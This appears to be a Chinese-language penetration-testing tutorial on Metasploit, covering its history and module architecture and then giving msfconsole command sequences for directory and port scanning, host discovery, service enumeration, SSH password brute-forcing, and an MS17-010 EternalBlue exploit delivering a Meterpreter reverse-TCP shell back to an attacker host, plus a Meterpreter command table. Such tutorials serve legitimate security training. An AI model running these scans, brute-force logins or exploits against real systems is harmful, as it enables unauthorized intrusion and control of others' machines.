[渗透测试]:Metasploit(MSF)
[渗透测试]:Metasploit(MSF)
Metasploit 简介
Metasploit 是一个开源的渗透测试软件,也是一个逐步发展成熟的漏洞研究与渗透测试代码开发平台(可扩展),此外也将成为支持整个渗透测试的安全技术集成开发与应用环境。
*诞生与发展
Metasploit 项目最初是由HD Moore 在2003年夏季创立的,目标是成为渗透测试攻击研究与代码开发的一个开发环境
HD Moore 在2003年 发布了他的第一个基于Perl 语言(pl)的Metasploit 版本,当时一共集成了11个渗透攻击模块
在Spoonm 的帮助下,完全重写了Metasploit 的代码,并在2004年发布了Metasploit v2.0, 版本中包含了18个渗透攻击模块和27个攻击载荷(payload),并提供了控制台终端,命令行和Web 三个使用接口
2004年 8月,HD 和Spoonm 带着最新发布的Metasploit v2.2 并在拉斯维加斯举办的BlackHat 全球黑客大会上进行了演讲。听众被Metasploit 的强大之处所折服,并一致认为:Metasploit 时代已经到来。更多的黑客加入Matesploit 核心开发团队与贡献渗透攻击、载荷与辅助模块代码。
2005 年的CanSecWest 黑客会议上,HD与Spoonm 指出Metasploit v2 体系框架中的一些难以解决的问题,包括:
@ 缺乏跨平台支持,特别是不能很好的运行在Windows 系统上。
@ 很难支持自动化渗透攻击过程
@ Perl 语言的复杂性和缺点使得外部贡献者与用户规模增长不相适应
@ Perl 语言对一些复杂特性的支持能力较弱等
而且V2 版本是完全围绕着渗透攻击而设计的,对信息搜集与后渗透攻击阶段无法提供有效的支持。经过18 个月的时间,Metasploit 团队使用Ruby 语言完全重写了Metasploit ,并在2007年发布v3.0 版本,其中包含177 个渗透攻击模块、104 个攻击载荷以及30 个新引入的辅助模块。
2009年 Metasploit 项目被一家渗透测试技术领域知名安全公司Rapid7 收购,随后退出Metasploit Express 和Pro 商业版本。
2011年 Metasploit v4.0 发布,v4.0 版本在渗透攻击、攻击载荷与辅助模块的数量上都有显著的扩展,此外还引入了一种新的模块类型--后渗透攻击模块,以支持渗透攻击环节中进行敏感信息搜集、内网拓展等一系列的攻击测试。
2019年 Metasploit v5.0 发布,其使用了新的数据库,并提供了一种新的数据服务。新版本引入了新的规避机制(evasion capabilities),支持多种语言,框架建立在不断增加的世界级攻击性内容库的框架基础上。另外,此次更新还包括可用性改进和大规模开发的支持、数据库和自动化API 的改进等
*技术架构
@ 辅助模块
Metasploit 为渗透测试的信息搜集环节提供了大量的辅助模块支持,包括针对各种网络服务的扫描与查点、构建虚假服务收集登录密码、口令猜测破解、敏感信息泄露、Fuzz 测试发掘漏洞、实施网络协议欺骗等模块。
辅助模块能够帮助渗透测试攻击者在渗透攻击之前取得目标系统丰富的情报信息
@ 渗透攻击模块
渗透攻击模块是利用发现的安全漏洞或配置弱点对目标系统进行攻击,以植入和运行攻击载荷,从而获取对远程目标系统访问权的代码组件。
主动渗透攻击所利用的安全漏洞位于网络服务端与服务承载的上传应用程序中,由于这些服务通过是在主机上开启一些监听端口等待客户端连接,因此针对它们的渗透测试攻击可以主动发起,通过连接目标系通网络服务,注入一些特殊构造的包含“邪恶”的攻击数据的网路请求内容,触发俺去那漏洞,并设定远程服务进程执行在“邪恶”数据中包含的攻击载荷,从而获取目标系统的控制会话。
被动渗透攻击利用的漏洞为于客户端软件中,如浏览器、浏览器插件、点击邮件客户端、Office与Adobe 等各种文档阅读与编辑软件。对于这类存在于客户端软件的安全漏洞,我们无法主动的将数据从远程输入到客户端软件中,因此只能采用被动渗透攻击的方式,即构造出“邪恶”的网页、电子邮件或文档文件,并通过架设包含此类恶意内容的服务、发送邮件附件、结合社会工程学分发并诱骗目标用户打开、结合网路欺骗和劫持技术等发式,等目标系统上的用户访问到这些“邪恶”的内容,从而触发客户端软件中的安全漏洞,给出控制目标系统的Shell 会话。
@ 攻击载荷
攻击载荷是在渗透测试攻击成功后使目标系统运行的一段植入代码,通常作用是为渗透攻击者打开在目标系统上的控制会话连接
@ 空指令模块
空指令(NOP)是对一些程序运行状态不会造成任何实质影响的空操作或者无关操作指令,最典型的空指令就是空操作,在x86 CPU 体系架构平台上的操作码是0x90
@ 编译器模块
攻击载荷模块于空指令模块组装完成一个指令序列后,在这段指令被渗透攻击模块加入“邪恶”数据缓冲区交由目标系统运行之前,Metasploit 框架还需要完成一道非常重要的工序--编码
编译器模块的第一个使命就是确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”。
第二个使命就是对攻击载荷进行”免杀“处理。
@ 后渗透攻击模块
后渗透攻击模块主要支持在渗透攻击取得目标系统控制权之后,在受控系统中进行各式各样的后渗透攻击动作,比如获取敏感信息、进一步拓展、实施跳板攻击等
@ 免杀模块
对攻击载荷进行“免杀”处理。
*为什么使用Metasploit ?
渗透攻击是目前Metasploit 最强大和最具吸引力的核心功能,Metasploit 框架中集成了数百个针对主流操作系统平台上 不同网路服务于应用软件安全漏洞的渗透攻击模块,可以由用户在渗透攻击场景中根据漏洞扫描结果进行选择,并能够自由装配该平台上适用的具有指定功能的攻击载荷,然后通过自动化编码机制绕过攻击限制与检测,对目标系统实施远程攻击。获取系统的访问控制权。
除了渗透攻击之外,Metasploit 在发展过程中逐渐增加了对渗透测试全过程的支持,包括情报搜集、威胁建模、漏洞分析、后渗透攻击与报告生成。
@ 情报搜集阶段
Metasploit 一方面通过内建的一系列扫描器与查点辅助模块来获取远程服务器信息,另一方面通过插件机制集成调用Nmap、Nessus、OpenVAS 等著名业界的开源网路扫描工具,从而具备全面的信息搜集能力,为渗透攻击实施提供必不可缺德精确情报。
@威胁建模阶段
在搜集信息之后,Metasploit 支持一系列数据库命令操作直接将这些信息汇总至PostgreSQL、MYSQL、SQLite数据库中,并为用户提供易用的数据库查询命令,可以帮助渗透测试者对目标系统搜到的情报进行威胁建模,从中找出可行的攻击路径
@ 漏洞分析阶段
除了信息搜集环节能够直接扫描出一些已公布德安全漏洞之外,Metassploit 中还提供了大量德协议Fuzz 测试器与Web 应用漏洞探测分析模块,支持具有一定水平能力德渗透测试者在实际过程中尝试挖掘出0day 漏洞,并对漏洞机理与利用方法进行深入分析,而这将为渗透攻击目标带来更大的杀伤力,并提升渗透测试流程的技术含金量。
@后渗透攻击阶段
在成功实施渗透攻击并获取目标系统的远程控制权之后,Metasploit 框架中另一个极具威名的工具Meterpreter 在后渗透攻击阶段提供了强大的功能。
Meterpreter 可以看作一个支持多操作系统平台,可以 仅仅驻留于内存中并具备免杀能力的高级后门工具,Meterpreter 中实现了特权提升、信息抓取、系统监控、跳板攻击与内网拓展等多样化的功能特性,此外还支持一种灵活可扩展的方式来加载额外的功能的后渗透攻击模块
@ 报告生成阶段
Metssploit 框架获得的渗透测试结果可以输入至内置数据库中,因此这些结果可以通过数据库查询来获取,并辅助渗透测试报告的写作。
商业版(pro)具备了更强大的报告生成功能,可以输出HTML、XML、Word 和PDF格式的报告。
MSF
启动MSF
[msfconsole]
MSF 的安装目录:
[/usr/share/metasploit-framework/]
MSF的更新
[apt-get update] #更新索引
[apt-get install metasploit-framework]
一个模块就是一个rb 脚本
基本命令
--------------
info 查看模块的详细信息
set
show options
exploit
back 返回主目录
exit 退出
-------------
情报搜集
*网站敏感目录扫描
可以借助Metasploit 中的brute_dirs、dir_listing、dir_scanner 等辅助模块来进行敏感目录扫描。
他们主要使用暴力猜解的方式工作,主要此处需要提供一个目录字典。
---------------
msf5 > use auxiliary/scanner/http/dir_scanner
msf5 auxiliary(scanner/http/dir_scanner) > set RHOSTS 192.168.1.200
RHOSTS => 192.168.1.200
msf5 auxiliary(scanner/http/dir_scanner) > set PATH /cms/
PATH => /cms/
msf5 auxiliary(scanner/http/dir_scanner) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/http/dir_scanner) > exploit
--------------
dir_scanner 模块可以发现网站上的一些目录,Admin、admin、images。只要字典足够强大,可以找到更多的敏感目录。
*主机发现
Metasploit 中提供了一些辅助模块可用于主机的发现,这些模块位于
modules/auxiliary/scanner/discovery/目录下
auxiliary/scanner/discovery/arp_sweep
auxiliary/scanner/discovery/empty_udp
auxiliary/scanner/discovery/ipv6_multicast_ping
auxiliary/scanner/discovery/ipv6_neighbor
auxiliary/scanner/discovery/ipv6_neighbor_router_advertisement
auxiliary/scanner/discovery/udp_probe
auxiliary/scanner/discovery/udp_sweep
可以使用arp_sweep 来枚举本地局域网中的所有活跃主机
-------------------------
msf5 > use auxiliary/scanner/discovery/arp_sweep
msf5 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 192.168.1.2/24
RHOSTS => 192.168.1.2/24
msf5 auxiliary(scanner/discovery/arp_sweep) > set ThREADS 50
ThREADS => 50
msf5 auxiliary(scanner/discovery/arp_sweep) > exploit
------------------------
*端口扫描
Metasploit 的辅助模块中提供了几款实用的端口扫描器
auxiliary/scanner/portscan/ack
auxiliary/scanner/portscan/syn
auxiliary/scanner/portscan/xmas
auxiliary/scanner/portscan/ftpbounce
auxiliary/scanner/portscan/tc
一般情况下推荐使用syn 端口扫描器,因为他速度快,结果比较准确不易被对方察觉
-------------
msf5 > use auxiliary/scanner/portscan/syn
msf5 auxiliary(scanner/portscan/syn) > set RHOSTS 192.168.1.200
RHOSTS => 192.168.1.200
msf5 auxiliary(scanner/portscan/syn) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/portscan/syn) > exploit
---------------
*探测服务详细信息
在Metasploit 中使用一些插件可以调用系统中的命令,比如可以使用Nmap 探测目标的详细服务信息,命令
[nmap -sS -Pn 192.168.1.200 -sV],参数说明:
-sS 使用SYN 半连接扫描
-Pn 早扫描之前,不发生ICME echo 请求测试目标是否活跃
-sV 探测服务详细版本
*服务查点
在Metassploit 的辅助模块中,有很多用于服务扫描和查点的工具,这些工具通常以[service_name]_version 命名。该模块可用于遍历网络中包含的某种服务的主机,并进一步确定服务版本。
@ telnet 服务查点
telnet 是一个先天缺乏安全性的网络服务。由于Telnet 没有对传输的数据进行加密,越来越多的管理员渐渐使用更为安全的SSH 协议代替它 。尽管如此,很多价格昂贵、使用寿命长的大型交换机使用Telnet 协议的可能性更大,而此类交换机在网络中的位置一般来说非常重要。可以使用telnet_version 模块扫描一下是否有主机或设备开启了Telnet 服务
---------------
msf5 > use auxiliary/scanner/telnet/telnet_version
msf5 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.200/24
RHOSTS => 192.168.1.200/24
msf5 auxiliary(scanner/telnet/telnet_version) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/telnet/telnet_version) > exploit
----------------
@ ssh服务查点
通常管理员会使用SSH 对服务器进行远程管理,服务器会向SSH 客户端返回一个远程Shell 连接。如果没有做其他的安全增强配置,只要获取服务的登录口令,就可以使用SSH 客户端登录服务器,那就相当于获取了登录用的所有权限。
可以使用ssh_version 模块遍历网络中开启的SSH 服务的主机
-------------
msf5 > use auxiliary/scanner/ssh/ssh_version
msf5 auxiliary(scanner/ssh/ssh_version) > set RHOSTS 192.168.1.200/24
RHOSTS => 192.168.1.200/24
msf5 auxiliary(scanner/ssh/ssh_version) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/ssh/ssh_version) > exploit
---------------
@ MSSL 服务查点
可以使用mysql_ping 查找网络模块中的Microsoft SQL Server
---------------
msf5 > use auxiliary/scanner/mssql/mssql_ping
msf5 auxiliary(scanner/mssql/mssql_ping) > set RHOSTS 192.168.1.200/24
RHOSTS => 192.168.1.200/24
msf5 auxiliary(scanner/mssql/mssql_ping) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/mssql/mssql_ping) > exploit
---------------
*口令猜测
@ ssh 服务口令猜解
----------------
msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set USER_FILE /root/msf/user.dic
USER_FILE => /root/msf/user.dic
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /root/msf/pass.dic
PASS_FILE => /root/msf/pass.dic
msf5 auxiliary(scanner/ssh/ssh_login) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.1.150
RHOSTS => 192.168.1.150
msf5 auxiliary(scanner/ssh/ssh_login) > exploit
-----------------
@ MSSQL 服务口令猜解
scanner/mssql/mssql_login
…
网络服务渗透攻击
*MS17-010“永恒之蓝”
漏洞扫描
---------------
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.1.200/24
RHOSTS => 192.168.1.200/24
msf5 auxiliary(scanner/smb/smb_ms17_010) > set THREADS 50
THREADS => 50
msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit
-----------------
攻击
------------------
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.200
RHOSTS => 192.168.1.200
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.150
LHOST => 192.168.1.150
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
----------------
*参数说明
-p
--payload
<payload>
指定需要使用的payload (攻击载荷)
-f
--format
<format>
指定输出格式
-l
--list
<module_type>
列出指定模块的所有资源
-n
--nopsled
<length>
为payload 预先指定一个NOP 滑动长度
-e
--encoder
[encoder]
指定需要使用的encoder(编码器)
-a
--arch
<architecture>
指定payload 的目标架构
Meterpreter
*常用基本命令
命令
|
解释
|
background
|
将Meterpreter 终端隐藏在后台
|
sessions
|
查看已经成功获取的会话。-i 选项,切入后台会话
|
shell
|
获取系统的控制台shell
|
quit
|
关闭当前的额Meterpreter 会话,返回MSF 终端
|
pwd
|
获取目标主机当前的工作目录
|
cd
|
切换目录
|
ls
|
查看当前目录下的内容
|
cat
|
查看文件内容
|
edit
|
编辑文件
|
download
|
下载文件
|
search
|
搜索文件
|
ifconfig/ipconfig
|
查看网卡信息
|
route
|
查看路由信息,设置路由
|
sysinfo
|
查看系统信息
|
getuid
|
获取当前用户id
|
ps
|
查看进程
|
getpid
|
查看当前进程
|
migrate
|
切换进程
|
execute
|
执行文件
|
kill
|
终极指定PID 的进程
|
shutdown
|
关机
|
screenshot
|
屏幕快照
|